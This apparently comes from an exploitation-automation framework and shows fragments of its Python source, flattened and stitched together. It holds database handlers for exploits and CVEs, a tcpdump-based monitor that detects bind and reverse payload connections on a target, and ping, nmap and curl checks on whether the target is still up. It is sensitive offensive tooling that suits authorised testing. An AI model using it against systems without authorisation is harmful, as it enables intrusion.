db_config.get("diff_range") >= msf_count: return True return False @staticmethod def get_module_attribute(tag, attribute_list): for elem in attribute_list: if elem[0] == tag: return elem[1] return "" @staticmethod def get_os_from_expl_name(expl_name): expl_name = expl_name.split("/") return expl_name[0] def search_by_cve(self, cve): matching_expl = [] for expl in self.expl_coll.find({"cve": cve}): expl_obj = Exploit.from_dict(expl) matching_expl.append(expl_obj) return matching_expl def search_by_bid(self, bid): matching_expl = [] for expl in self.expl_coll.find({"bid": bid}): expl_obj = Exploit.from_dict(expl) matching_expl.append(expl_obj) return matching_expl # search the DB for all exploits with a matching name (textScore) def search_by_name(self, name): matching_expl = [] for expl in self.expl_coll.find({'$text': { '$search': name }}, {'score': { '$meta': 'textScore' }}): expl_obj = Exploit.from_dict(expl) matching_expl.append(expl_obj) return matching_expl # # methods for the CVE details collection # def add_cve_details(self, cve): self.cve_coll.insert_one(cve) def get_cve(self, cve): return self.cve_coll.find_one({'cve': cve}) # # methods for the exploits' classifications collection # def add_expl_class(self, expl_class): self.expl_class_coll.insert_one(expl_class.to_dict()) def get_expl_class(self, expl_path): classification_obj = self.expl_class_coll.find_one( {'expl_path': expl_path}) if classification_obj is None: return None return getattr(ExploitClass, classification_obj.get('class', None).upper(), None) # # methods for application's execution status # def save_exec_status(self, status): status.ended = time.time() self.exec_status_coll.insert_one(status.to_dict()) self.console.info("Successfully saved execution status to DB...") def take_matching_exec_status(self, ip): status_dict = self.exec_status_coll.find_one({'ip': ip}) if status_dict is None: return None self.exec_status_coll.delete_one({'_id': status_dict.get('_id')}) return ExecStatus.from_dict(status_dict) # # methods for vulnerabilities collection # def save_vulns(self, vulns): for vuln in vulns: self.vuln_coll.insert_one(vuln.to_dict()) def get_vulns(self): vuln_objs = [] vulns = self.vuln_coll.find({}).sort('cvss', pymongo.DESCENDING) for vuln in vulns: vuln_obj = Vulnerability.from_dict(vuln) vuln_objs.append(vuln_obj) return vuln_objs
def __init__(self, msf_handler): self.console = ConsoleHandler('Sess.Handler') self.msf_handler = msf_handler
class ConnectionSupervisor(Thread): proc = None detected_syn = False detected_synack = False syn_seq = -1 synack_seq = -1 detected_exploit_delivery = False detected_payload_delivery = False detected_payload_connection = False expl_exec_detection_method: ExplExecDetectionMethod def __init__(self, lhost, rhost, rport, lport, is_reverse_payload, is_staged_payload, results): Thread.__init__(self) self.console = ConsoleHandler('ConnSuperv') if lhost is None or rhost is None or lhost == '' or rhost == '': raise AttributeError('You need to specify a value for rhost and lhost.') self.lhost = lhost self.rhost = rhost self.rport = rport self.lport = lport self.is_reverse_payload = is_reverse_payload self.is_staged_payload = is_staged_payload self.file = open("tcpdump_log.txt", "w") self.results = results # Start the subprocess def run(self): self.console.info("Start to capture network traffic with host {}...".format(self.rhost)) self.proc = subprocess.Popen(['tcpdump', '-l', 'host', self.rhost, '-nn', '-S'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # -nn = don't convert addresses and port numbers to names # -S = print absolute sequence numbers for row in iter(self.proc.stdout.readline, b''): line_str = row.rstrip().decode("utf-8") self.console.debug(line_str) self.write_to_log(line_str) request = self.parse_tcpdump_line(line_str) connection = self.detect_established_connection(request, self.lhost, self.rhost) successful_exec = None reverse_payload_req = self.detect_reverse_payload_request(request) self.append_to_results(reverse_payload_req) dropper_req = self.detect_dropper_request(request) self.append_to_results(dropper_req) if connection is not None: self.console.debug("detected established connection with direction: {}".format(connection.direction)) successful_exec = self.detect_successful_exec(connection=connection, rport=self.rport, lport=self.lport) if (successful_exec is not None and successful_exec != ExplExecDetectionMethod.NONE) or \ reverse_payload_req is not None or dropper_req is not None: self.append_to_results(successful_exec) self.console.warn("EXPLOIT HAS BEEN EXECUTED ON THE TARGET!") self.console.info("\t detected with: {}".format(self.results[-1].name)) self.write_to_log("detected: ".format(self.results[-1].name)) # Stop the subprocess def join(self, timeout=None): self.console.info("Stop capturing network traffic...") if self.proc is not None: self.console.debug("killing subprocess with PID {}...".format(self.proc.pid)) self.proc.terminate() self.console.debug("killed...") self.file.close() Thread.join(self) # reset all connection state flags def reset_conn_state(self): self.detected_syn = False self.detected_synack = False self.syn_seq = -1 self.synack_seq = -1 # reset all execution state flags def reset_exec_state(self): self.detected_exploit_delivery = False self.detected_payload_delivery = False self.detected_payload_connection = False @staticmethod def remove_redundant_chars(val): if val[:1] == '[': val = val[1:] if val[-1:] == ':' or val[-1:] == ']': val = val[:-1] return val # parse a line of tcpdump and return a Request object or (in case of errors) an empty dict def parse_tcpdump_line(self, line): line = line.split(', ') params = [] for item in line: if item[:7] == 'options': params.append('options') params.append(item[8:]) else: for elem in item.split(' '): params.append(elem) for i in range(len(params)): params[i] = self.remove_redundant_chars(params[i]) if len(params) >= 7: request = {'time': params[0], 'protocol': params[1]} if request.get('protocol') == 'IP': request['source_ip'] = ConnectionSupervisor.extract_ip_address(params[2]) request['source_port'] = ConnectionSupervisor.extract_port_number(params[2]) request['target_ip'] = ConnectionSupervisor.extract_ip_address(params[4]) request['target_port'] = ConnectionSupervisor.extract_port_number(params[4]) request['flags'] = params[6] count = 7 while count + 2 <= len(params): val = params[count + 1] try: val = int(val) except ValueError: val = str(val) request[params[count]] = val count += 2 return request return {} @staticmethod def extract_ip_address(addr_str): elems = addr_str.split(".") return "{}.{}.{}.{}".format(elems[0], elems[1], elems[2], elems[3]) @staticmethod def extract_port_number(addr_str): try: return int(addr_str.split(".")[4]) except (ValueError, IndexError): return -1 # determine the direction of a given request def get_request_direction(self, conn, lhost, rhost): if lhost == conn.get('source_ip') and rhost == conn.get('target_ip'): return ConnectionDirection.HOST_TO_TARGET if lhost == conn.get('target_ip') and rhost == conn.get('source_ip'): return ConnectionDirection.TARGET_TO_HOST return ConnectionDirection.UNDETERMINED # returns a Connection object as soon as a successful TCP handshake has been detected def detect_established_connection(self, request, lhost, rhost): flags = request.get('flags') if flags == 'S': self.detected_syn = True self.syn_seq = request.get('seq') self.console.debug("...detected SYN") if flags == 'S.' and self.detected_syn and request.get('ack') == self.syn_seq + 1: self.detected_synack = True self.synack_seq = request.get('seq') self.console.debug("...detected SYNACK") if flags == '.' and self.detected_syn and self.detected_synack and request.get('ack') == self.synack_seq + 1: self.console.debug("...detected ACK") direction = self.get_request_direction(conn=request, lhost=lhost, rhost=rhost) self.reset_conn_state() self.console.debug(request) connection = Connection(direction=direction, client_ip=request.get('source_ip'), client_port=request.get('source_port'), server_ip=request.get('target_ip'), server_port=request.get('target_port')) return connection return None # detect by the given execution state and a new connection whether the exploit has already been successfully executed def detect_successful_exec(self, connection, rport, lport): self.console.debug("lport: {}, rport: {}".format(lport, rport)) self.console.debug(connection) # error case if connection is None or connection.direction == ConnectionDirection.UNDETERMINED: return ExplExecDetectionMethod.NONE # no matter what kind of payload, the exploit needs to be delivered first if not self.detected_exploit_delivery and connection.direction == ConnectionDirection.HOST_TO_TARGET and connection.server_port == rport: self.detected_exploit_delivery = True self.console.info("Detected exploit delivery to target") return ExplExecDetectionMethod.NONE # to detect payload connection for single payloads: if not self.is_staged_payload and self.detected_exploit_delivery: # for single bind payloads if connection.direction == ConnectionDirection.HOST_TO_TARGET and not self.is_reverse_payload: # and lport == connection.server_port self.console.info("Detected single bind payload connection") return ExplExecDetectionMethod.BIND_PAYLOAD_CONNECTION # for single reverse payloads if connection.direction == ConnectionDirection.TARGET_TO_HOST and self.is_reverse_payload and lport == connection.server_port: self.console.info("Detected single reverse payload connection") return ExplExecDetectionMethod.REVERSE_PAYLOAD_CONNECTION # to detect the delivery of the stage for staged payloads if self.is_staged_payload and self.detected_exploit_delivery and not self.detected_payload_delivery: if connection.direction == ConnectionDirection.TARGET_TO_HOST: self.detected_payload_delivery = True self.console.info("Reverse payload has been delivered") return ExplExecDetectionMethod.PAYLOAD_STAGE_CONNECTION # to detect the payload connection for staged payloads if self.detected_payload_delivery and self.is_staged_payload: if connection.direction == ConnectionDirection.HOST_TO_TARGET and not self.is_reverse_payload and lport == connection.server_port: self.console.info("Detected staged bind payload") if connection.direction == ConnectionDirection.TARGET_TO_HOST and self.is_reverse_payload and lport == connection.server_port: self.console.info("Detected staged reverse payload connection") return ExplExecDetectionMethod.PAYLOAD_STAGE_CONNECTION return ExplExecDetectionMethod.NONE # detect a connection attempt from a reverse payload by the given request def detect_reverse_payload_request(self, request): try: if self.detected_exploit_delivery and self.is_reverse_payload and request['source_ip'] == self.rhost and \ request['target_ip'] == self.lhost and request['target_port'] == self.lport and \ request.get('flags') == 'S': self.console.info("Detected reverse payload request.") return ExplExecDetectionMethod.REVERSE_PAYLOAD_REQUEST except KeyError: pass return None # detect a connection attempt from the payload's dropper def detect_dropper_request(self, request): try: if self.detected_exploit_delivery and self.is_staged_payload and request['source_ip'] == self.rhost and \ request['target_ip'] == self.lhost and not self.detected_payload_connection and \ request.get('flags') == 'S' and request['target_port'] != self.lport: self.console.info("Detected request from the payload dropper") return ExplExecDetectionMethod.PAYLOAD_STAGE_REQUEST except KeyError: pass return None def append_to_results(self, detection_method): if detection_method is not None and detection_method is not ExplExecDetectionMethod.NONE: self.results.append(detection_method) # for debugging def write_to_log(self, line): try: self.file.write('{} \n'.format(line)) except ValueError: pass
def __init__(self, db_handler): self.console = ConsoleHandler("CVEDetParser") self.db = db_handler
class SuccessChecker: def __init__(self): self.console = ConsoleHandler("SuccessCheck") def check(self, speed, rhost, port, uri): res = [] iterations = EvalSpeed[speed.name].value[0] interval = EvalSpeed[speed.name].value[1] for iteration in range(iterations): self.console.info("Run #{} of success checker".format(iteration)) check_result = {'ping': self.ping_check(rhost)} check_result['nmap'] = self.nmap_check(host=rhost, port=port) if uri is not None: url = "{}:{}{}".format(rhost, str(port), uri) check_result['http'] = self.http_check(url=url) res.append(check_result) self.console.info("\t intentionally waiting...") time.sleep(interval) self.console.debug(res) return res def ping_check(self, rhost): self.console.debug("\t start PING checker") param = '-n' if platform.system().lower() == 'windows' else '-c' command = ['ping', param, '1', rhost] with open(os.devnull, 'w') as DEVNULL: res = subprocess.call(command, stderr=DEVNULL, stdout=DEVNULL) if res == 0: self.console.debug("\t \t host still up and running.") return ServiceStatus.UP_ACCESSIBLE else: self.console.debug("\t \t host dead.") return ServiceStatus.DOWN def http_check(self, url): self.console.debug("\t start HTTP checker for {}".format(url)) command = ['curl', url, "-m", "{}".format(HTTP_CHECK_MAX_TIME)] with open(os.devnull, 'w') as DEVNULL: res = subprocess.call(command, stderr=DEVNULL, stdout=DEVNULL) if res == 0: self.console.debug("\t \t web server still up and running.") return ServiceStatus.UP_ACCESSIBLE else: self.console.info("\t \t web server dead.") return ServiceStatus.DOWN def nmap_check(self, host, port): self.console.debug("\t start nmap checker...") scanner = nmap.PortScanner() scanner.scan(hosts=host, ports=str(port)) info = scanner.scaninfo() err = info.get('error') try: del info['error'] except KeyError: pass self.console.debug(info) if err is not None: self.console.debug("\t \t {}".format(err)) try: state = scanner[host]['tcp'][port]['state'] self.console.debug("\t \t -> Port is {}".format(state)) except KeyError: self.console.warn("\t \t unable to retrieve nmap output: {}.".format(info)) return None try: state_obj = PortStatus[state.strip().upper()] except KeyError: self.console.error("Invalid value for Port State: {}".format(state)) return PortStatus.CLOSED return state_obj